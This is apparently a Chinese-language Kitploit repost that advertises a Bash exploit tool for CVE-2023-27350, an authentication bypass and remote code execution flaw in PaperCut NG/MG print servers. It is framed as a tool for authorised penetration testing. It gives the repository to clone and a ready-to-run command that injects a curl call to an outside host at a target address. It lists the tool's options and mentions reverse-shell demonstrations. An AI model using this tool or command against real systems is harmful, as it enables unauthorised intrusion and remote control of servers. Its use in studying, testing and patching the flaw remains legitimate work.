CVE-2023-27350 — PaperCut NG/MG 身份验证绕过与远程代码执行（RCE）漏洞利用工具。一个独立的 Bash 实现，涵盖 PaperCut 漏洞利用链，支持可选代理、自动化会话提权，以及通过打印脚本引擎进行动态命令注入。专为安全审计和授权渗透测试而设计。 | Kitploit

漏洞利用演示

PaperCut NG/MG RCE（CVE-2023-27350）

一个精简的 Bash 漏洞利用脚本，用于 CVE-2023-27350。该脚本自动化了认证绕过、环境准备以及通过 PaperCut 打印机脚本引擎进行的命令注入。

可视化验证

基本 RCE：

可视化演示

触发反向 Shell：

可视化演示

快速开始

# Clone the repository
git clone https://github.com/dezso-dfield/CVE-2023-27350.git

# Enter the directory
cd CVE-2023-27350

# Make the script executable
chmod +x rce.sh

# Run the exploit (Example with Proxy)
./rce.sh -u http://10.129.238.16:9191 -x http://10.129.238.16:3128 -c "curl http://10.10.15.82:8000/rce"

选项

-u : 目标 URL（例如 http://10.129.x.x:9191）
-c : 要执行的命令（用引号括起来）
-x : （可选）代理 URL（例如 http://10.129.x.x:3128）